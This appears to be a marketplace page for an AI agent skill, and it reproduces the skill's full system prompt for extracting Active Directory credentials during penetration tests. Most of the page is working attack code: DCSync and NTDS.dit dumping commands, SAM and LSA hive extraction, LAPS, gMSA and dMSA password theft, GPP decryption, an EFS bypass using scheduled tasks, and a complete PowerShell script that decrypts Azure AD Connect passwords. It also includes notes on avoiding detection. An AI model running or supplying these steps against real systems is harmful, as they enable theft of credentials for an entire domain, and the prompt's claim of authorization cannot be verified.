You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester extract credentials from Active
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester extract credentials from Active Directory stores including domain databases, local machine hives, Azure AD Connect sync databases, managed service accounts, and directory recovery secrets. All testing is under explicit written authorization.
Kerberos-first authentication: All remote credential extraction
commands use Kerberos authentication (-k -no-pass, --use-kcache)
to avoid NTLM detection signatures. Exception: local filesystem operations
(SAM/NTDS extraction from hives) where Kerberos auth does not apply.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[credential-dumping] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
secretsdump.py (Impacket), netexec (nxc), optionally
mimikatz, bloodyAD, gMSADumper.py, ntdsutil.exeKerberos-first workflow (for remote extraction):
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
# or with password
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL
export KRB5CCNAME=user.ccache
# All extraction commands use -k -no-pass
secretsdump.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL
Determine what you can extract based on current access:
| Access Level | Available Techniques | Go To |
|---|---|---|
| Replication rights (DS-Replication-Get-Changes + Get-Changes-All) | DCSync | Step 2 |
| Domain Admin / DC local admin | DCSync, NTDS extraction, LAPS, gMSA | Step 2 or 3 |
| Azure AD Connect admin (ADSyncAdmins, Azure Admins, or shell on AADConnect host) | ADSync credential extraction | Step 2b |
| Local admin on target | SAM dump | Step 4 |
| LAPS read permission (on computer object) | LAPS password read | Step 5 |
| gMSA read permission (PrincipalsAllowedToRetrieve) | gMSA password | Step 6 |
| GenericWrite on dMSA | dMSA BadSuccessor | Step 7 |
| DC local admin + DSRM knowledge | DSRM credential extraction | Step 8 |
# Check if current user has replication rights
bloodyAD -k -no-pass get writable --right 'REPLICATION' --detail
# Verify via secretsdump (attempt DCSync for a single account)
secretsdump.py -k -no-pass -just-dc-user krbtgt DOMAIN/user@DC.DOMAIN.LOCAL
Extract credentials by simulating domain controller replication. Requires
DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights
(held by Domain Admins, Enterprise Admins, DC machine accounts, and
accounts with these rights explicitly granted).
# Extract ALL domain hashes (users, machines, krbtgt)
secretsdump.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL
# Output format: user:rid:lmhash:nthash:::
# Also extracts: Kerberos keys (AES256, AES128), cleartext (if reversible)
# Single user (e.g., krbtgt for Golden Ticket)
secretsdump.py -k -no-pass -just-dc-user krbtgt \
DOMAIN/user@DC.DOMAIN.LOCAL
# Specific high-value account
secretsdump.py -k -no-pass -just-dc-user Administrator \
DOMAIN/user@DC.DOMAIN.LOCAL
# Only NTLM hashes (skip Kerberos keys, cleartext)
secretsdump.py -k -no-pass -just-dc-ntlm DOMAIN/user@DC.DOMAIN.LOCAL
# Check if DCSync is possible
nxc smb DC.DOMAIN.LOCAL --use-kcache -M dcsync
# Full dump via NetExec
nxc smb DC.DOMAIN.LOCAL --use-kcache --ntds
# Single user
lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt
# All users
lsadump::dcsync /domain:DOMAIN.LOCAL /all /csv
Extract credentials stored in the Azure AD Connect synchronization database. The ADSync database contains encrypted connector account passwords — the on-premises AD connector typically runs as a high-privilege domain account (often Domain Admin or an account with DCSync rights) to sync password hashes to Azure AD.
ADSync service, AAD_ prefixed
service accounts, or Microsoft Azure AD Sync in Program Files)ADSyncAdmins, Azure Admins, or has local
admin on the AADConnect hostAAD_<hex> or MSOL_<hex> in domain usersADSync or ADSync2019 Windows service runningC:\Program Files\Microsoft Azure AD Sync\ directory existsADSync databaseThe ADSync database runs on either a full SQL Server instance or LocalDB. Try SQL Server first — LocalDB is often inaccessible from WinRM sessions.
# Check for ADSync service
Get-Service | Where-Object {$_.Name -like '*ADSync*'}
# Check install directory
ls "C:\Program Files\Microsoft Azure AD Sync\Bin"
# Try full SQL Server instance (use hostname as server name)
sqlcmd -S HOSTNAME -Q "SELECT name FROM sys.databases" -E
# Look for 'ADSync' in the output
# If full SQL Server fails, try LocalDB instances
sqlcmd -S "(localdb)\.ADSync" -Q "SELECT name FROM sys.databases" -E
sqlcmd -S "(localdb)\.ADSync2019" -Q "SELECT name FROM sys.databases" -E
sqlcmd -S "(localdb)\MSSQLLocalDB" -Q "SELECT name FROM sys.databases" -E
Common issue: LocalDB instances often fail from WinRM sessions due to user profile and named pipe access restrictions. Full SQL Server instances work reliably. If all SQL access fails, check the ADSync configuration file for the connection string:
type "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"
# or check the config
type "C:\ProgramData\ADSync\Configuration\Exported-ServerConfiguration.xml"
Query the ADSync database for connector configurations and keying material:
# Get connector names and encrypted configurations
sqlcmd -S HOSTNAME -d ADSync -E -Q "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent"
# Get DPAPI keying material
sqlcmd -S HOSTNAME -d ADSync -E -Q "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
The private_configuration_xml column contains the connector type and
target domain. The encrypted_configuration column contains the
Base64-encoded encrypted password.
The ADSync installation includes mcrypt.dll which provides DPAPI-based
decryption. The decryption workflow uses the KeyManager class to load
the keyset, retrieve the active credential key, and decrypt the encrypted
configuration.
Upload this script to the target and execute it:
# decrypt_adsync.ps1 — Azure AD Connect credential extraction
# Requires: shell on ADSync host, SQL access to ADSync database
# Load the mcrypt assembly
Add-Type -Path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
# Get keying material from ADSync database
$sqlServer = $env:COMPUTERNAME # adjust if SQL is on a different host
$results = @()
$conn = New-Object System.Data.SqlClient.SqlConnection
$conn.ConnectionString = "Server=$sqlServer;Database=ADSync;Integrated Security=True"
$conn.Open()
# Get keyset info
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
# Get encrypted connector configs
$cmd2 = $conn.CreateCommand()
$cmd2.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent"
$reader2 = $cmd2.ExecuteReader()
while ($reader2.Read()) {
$config = $reader2.GetString(0)
$encrypted = $reader2.GetString(1)
# Initialize KeyManager and load keyset
$km = New-Object Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
# Decrypt
$plaintext = $null
$key.DecryptBase64ToString($encrypted, [ref]$plaintext)
# Extract domain and username from private config
$domain = ([xml]$config).SelectSingleNode("//parameter[@name='forest-login-domain']").text
$username = ([xml]$config).SelectSingleNode("//parameter[@name='forest-login-user']").text
if (-not $username) {
# AAD connector uses different XML structure
$username = "AAD Connector"
$domain = "Azure AD"
}
Write-Host "Domain: $domain"
Write-Host "Username: $username"
Write-Host "Password: $plaintext"
Write-Host "---"
}
$reader2.Close()
$conn.Close()
Upload and execute via evil-winrm:
# evil-winrm session
upload /path/to/decrypt_adsync.ps1
powershell -ExecutionPolicy Bypass -File .\decrypt_adsync.ps1
Important — evil-winrm upload syntax: Use upload <local_path> without
specifying a remote destination path. evil-winrm uploads to the current
working directory. Specifying a full Windows path as the destination can
cause path mangling (e.g., C:Users... instead of C:\Users\...).
| Error | Cause | Fix |
|---|---|---|
LoadKeySet is not static | Called as [KeyManager]::LoadKeySet() | Instantiate: $km = New-Object ...KeyManager; $km.LoadKeySet(...) |
Wrong argument count for GetActiveCredentialKey | Passed extra params | Takes 1 param only: $km.GetActiveCredentialKey([ref]$key) |
Null-conditional operator ?. error | PowerShell 5.1 (Server 2016/2019) | Use if ($x) { $x.Property } instead of $x?.Property |
| MCrypt class not found | Wrong namespace | Full namespace: Microsoft.DirectoryServices.MetadirectoryServices.Cryptography |
Get-ADSyncConnector COM class factory error | DCOM limitation in WinRM | Don't use the ADSync PowerShell module — use mcrypt.dll directly |
| LocalDB access denied | WinRM session lacks user profile context | Use full SQL Server instance (HOSTNAME) instead of (localdb)\... |
| SQL connection fails | ADSync uses named instance | Try HOSTNAME\SQLEXPRESS, HOSTNAME\ADSync, or check services for SQL instance name |
The ADSync database typically contains two connector accounts:
DOMAIN\Administrator or a service account with DCSync
rights. This is the high-value target.Sync_HOSTNAME_<hex>@tenant.onmicrosoft.com.If the on-premises connector runs as a domain admin or has replication rights, use the extracted cleartext password for DCSync (Step 2) to extract all domain hashes.
Remove-Item .\decrypt_adsync.ps1 -ForceExtract the NTDS.dit database file from a DC for offline hash extraction. Requires filesystem access to the DC.
# Remote via Impacket (creates VSS, extracts NTDS + SYSTEM, cleans up)
secretsdump.py -k -no-pass -use-vss DOMAIN/user@DC.DOMAIN.LOCAL
# Manual on DC via diskshadow
diskshadow.exe
> set context persistent nowriters
> add volume C: alias cdrive
> create
> expose %cdrive% Z:
> exit
# Copy NTDS.dit from shadow
copy Z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy Z:\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Cleanup
diskshadow.exe
> unexpose Z:
> delete shadows volume C:
> exit
# Install From Media (IFM) — creates ntds.dit + SYSTEM hive
ntdsutil.exe "ac i ntds" "ifm" "create full C:\temp\ntds-backup" "quit" "quit"
# Files created:
# C:\temp\ntds-backup\Active Directory\ntds.dit
# C:\temp\ntds-backup\registry\SYSTEM
# Create shadow copy
vssadmin create shadow /for=C:
# Copy from shadow (use shadow copy ID from output)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Extract hashes from NTDS.dit + SYSTEM hive
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
# Output: all domain users, machine accounts, krbtgt
# Format: user:rid:lmhash:nthash:::
-use-vss via secretsdump auto-cleans but leaves brief artifactsExtract local account hashes from the SAM registry hive.
# Via secretsdump (extracts SAM + LSA secrets + cached domain creds)
secretsdump.py -k -no-pass DOMAIN/user@TARGET.DOMAIN.LOCAL
# NetExec SAM dump
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --sam
# NetExec LSA secrets (includes cached domain logon hashes)
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --lsa
# Save registry hives (requires SYSTEM or local admin)
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
reg save hklm\security C:\temp\security
# Extract hashes from saved hives
secretsdump.py -system system -sam sam -security security LOCAL
Read local admin passwords managed by LAPS from computer objects in AD.
Plaintext password stored in ms-Mcs-AdmPwd attribute. Readable by
accounts with explicit read permission on the attribute.
# NetExec LAPS module (reads both legacy and Windows LAPS)
nxc ldap DC.DOMAIN.LOCAL --use-kcache --laps
# bloodyAD (Kerberos-first)
bloodyAD -k -no-pass get object 'TARGET$' --attr ms-Mcs-AdmPwd
# Impacket Get-LAPSPassword (if available)
Get-LAPSPassword.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL
# PowerView
Get-DomainComputer TARGET -Properties ms-Mcs-AdmPwd
# Native AD module
Get-ADComputer TARGET -Properties ms-Mcs-AdmPwd | Select ms-Mcs-AdmPwd
New attributes: msLAPS-Password, msLAPS-EncryptedPassword,
msLAPS-PasswordExpirationTime. Encrypted passwords require DPAPI
decryption or authorized read access.
# NetExec reads Windows LAPS automatically
nxc ldap DC.DOMAIN.LOCAL --use-kcache --laps
# bloodyAD (reads encrypted + decrypts if authorized)
bloodyAD -k -no-pass get object 'TARGET$' --attr msLAPS-Password
bloodyAD -k -no-pass get object 'TARGET$' --attr msLAPS-EncryptedPassword
# Native cmdlet (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText
# Find computers with LAPS attributes set
bloodyAD -k -no-pass get search --filter '(ms-Mcs-AdmPwdExpirationTime=*)' \
--attr sAMAccountName,ms-Mcs-AdmPwd
# Find who can read LAPS passwords
bloodyAD -k -no-pass get writable --right 'READ' \
--filter '(ms-Mcs-AdmPwdExpirationTime=*)' --detail
ms-Mcs-AdmPwd via AD ACL auditingExtract Group Managed Service Account passwords.
If your account is in PrincipalsAllowedToRetrieveManagedPassword:
# NetExec gMSA module
nxc ldap DC.DOMAIN.LOCAL --use-kcache --gmsa
# bloodyAD
bloodyAD -k -no-pass get object 'gMSA_ACCOUNT$' \
--attr msDS-ManagedPassword
# gMSADumper
python3 gMSADumper.py -k -no-pass -d DOMAIN.LOCAL
# PowerShell (DSInternals)
$gmsa = Get-ADServiceAccount -Identity gMSA_ACCOUNT -Properties msDS-ManagedPassword
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$mp.SecureCurrentPassword | ConvertFrom-SecureString -AsPlainText
# Find all gMSA accounts
bloodyAD -k -no-pass get search \
--filter '(objectClass=msDS-GroupManagedServiceAccount)' \
--attr sAMAccountName,msDS-GroupMSAMembership
# Check who can read the password
bloodyAD -k -no-pass get object 'gMSA_ACCOUNT$' \
--attr msDS-GroupMSAMembership
If you have Domain Admin access, extract the KDS root key to compute any gMSA password offline — even after password rotation.
# Extract KDS root key
bloodyAD -k -no-pass get object \
"CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=domain,DC=local" \
--attr msKds-RootKeyData
# Compute gMSA password from KDS key (GoldenGMSA technique)
# Requires: KDS root key + gMSA SID + managed password ID
python3 GoldenGMSA.py compute --sid S-1-5-21-...-1234 \
--kds-key BASE64_KDS_KEY
Delegated Managed Service Accounts (dMSA) can be exploited via the
successor mechanism. Writing msDS-ManagedPasswordId on a dMSA allows
the attacker's account to retrieve the managed password.
# Find dMSA accounts
bloodyAD -k -no-pass get search \
--filter '(objectClass=msDS-DelegatedManagedServiceAccount)' \
--attr sAMAccountName,msDS-ManagedPasswordId
# Check write permissions on dMSA
bloodyAD -k -no-pass get writable \
--filter '(objectClass=msDS-DelegatedManagedServiceAccount)' --detail
# Set attacker as successor (requires GenericWrite on dMSA)
bloodyAD -k -no-pass set object 'dMSA_ACCOUNT$' \
msDS-ManagedPasswordId -v ATTACKER_MACHINE_SID
# Read the managed password
bloodyAD -k -no-pass get object 'dMSA_ACCOUNT$' \
--attr msDS-ManagedPassword
# PowerShell variant
Set-ADObject -Identity "CN=dMSA_ACCOUNT,CN=Managed Service Accounts,DC=domain,DC=local" `
-Replace @{'msDS-ManagedPasswordId'=$attackerSID}
Extract the Directory Services Restore Mode password from a DC. Used for offline DC recovery — provides local Administrator access to the DC when booted in DSRM.
# 0 = only in DSRM boot (default), 2 = always available for network logon
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DsrmAdminLogonBehavior
# Via secretsdump (extracts LSA secrets including DSRM)
secretsdump.py -k -no-pass DOMAIN/admin@DC.DOMAIN.LOCAL
# From saved hives
secretsdump.py -system SYSTEM -security SECURITY LOCAL
# Mimikatz (on DC)
lsadump::lsa /patch
# Shows DSRM Administrator hash
If DsrmAdminLogonBehavior = 2:
# Authenticate to DC using DSRM hash (local auth)
secretsdump.py -hashes :DSRM_HASH 'DC_HOSTNAME/Administrator@DC_IP'
When a target file is EFS-encrypted (access denied despite admin/SYSTEM creds), PTH sessions (WinRM, psexec, wmiexec) won't work — they don't load the user's DPAPI keychain. You need a real interactive logon.
# DefaultPassword in LSA secrets = instant win (autologon cred)
grep -i 'DefaultPassword\|DefaultUserName' engagement/evidence/secretsdump*.txt
# Also check cached domain logon credentials in secretsdump output
grep -i 'dpapi_machinekey\|NL\$KM' engagement/evidence/secretsdump*.txt
If you have a plaintext password for the file owner, use schtasks:
schtasks with /ru /rp creates a real logon session that loads DPAPI keys,
bypassing EFS restrictions that block PTH sessions.
schtasks /create /tn "efs_read" /tr "cmd /c type C:\Users\target\secret.txt > C:\Windows\Temp\out.txt" /sc once /st 00:00 /ru DOMAIN\user /rp "password" /f
schtasks /run /tn "efs_read"
timeout /t 3
type C:\Windows\Temp\out.txt
schtasks /delete /tn "efs_read" /f
del C:\Windows\Temp\out.txt
If schtasks fails or RDP is available (port 3389):
# RDP creates a full interactive logon — DPAPI loads naturally
xfreerdp /v:TARGET /u:DOMAIN\\user /p:'password' /cert-ignore
Only if no plaintext password is available. Requires domain DPAPI backup key (from DCSync) or the user's master key.
# Extract domain backup key via DCSync
secretsdump.py -k -no-pass DOMAIN/admin@DC -just-dc-user 'DOMAIN\krbtgt'
# Backup key is in the DPAPI_SYSTEM section of secretsdump output
# Use dpapick3 (in Docker image) for CAPI key container decryption
# when impacket dpapi.py fails on CryptProtectData-wrapped containers
start_process(command="dpapick3 ...", privileged=True)
STOP and return to the orchestrator with:
bloodyAD -k -no-pass get writable --right 'REPLICATION'-smb2support or check Impacket version-use-vss flag for VSS-based extraction instead of DRSUAPIKRB_AP_ERR_SKEW): Clock Skew Interrupt — stop immediately
and return to the orchestrator. Do not retry or fall back to NTLM. Fix
requires root: sudo ntpdate DC_IPPrincipalsAllowedToRetrieveManagedPasswordGroup Policy Preferences stored encrypted passwords in SYSVOL. Microsoft published the AES key, making all GPP passwords trivially decryptable:
# Automated extraction
Get-GPPPassword.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL
nxc smb DC.DOMAIN.LOCAL --use-kcache -M gpp_password
nxc smb DC.DOMAIN.LOCAL --use-kcache -M gpp_autologin
# Manual search
findstr /S /I cpassword \\DOMAIN.LOCAL\SYSVOL\DOMAIN.LOCAL\Policies\*.xml
| Technique | OPSEC | Detection Events | Notes |
|---|---|---|---|
| DCSync (targeted) | MEDIUM | 4662 (replication GUIDs) | Single user = fewer events |
| DCSync (full domain) | MEDIUM | 4662, 4928/4929 | Many replication events |
| NTDS extraction (VSS) | HIGH | 8222 (VSS), file access | Large file exfiltration |
| NTDS (ntdsutil) | HIGH | 325, process creation | Native tool but noisy |
| Azure AD Connect | LOW-MEDIUM | SQL query, file upload | Local DB read, script artifact on disk |
| SAM dump (remote) | MEDIUM | 4624, registry access | Standard admin operation |
| LAPS read (legacy) | LOW | LDAP query only | Normal directory read |
| LAPS read (Windows) | LOW | LDAP + decryption | Authorized operation |
| gMSA read | LOW | LDAP query | Normal if authorized |
| GoldenGMSA (KDS) | MEDIUM | 4662 (KDS access) | DA required |
| dMSA BadSuccessor | HIGH | 5136 (object modify) | New attack surface |
| DSRM extraction | HIGH | LSA access | Requires DC access |
| GPP passwords | LOW | SMB share access | Read-only SYSVOL |
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。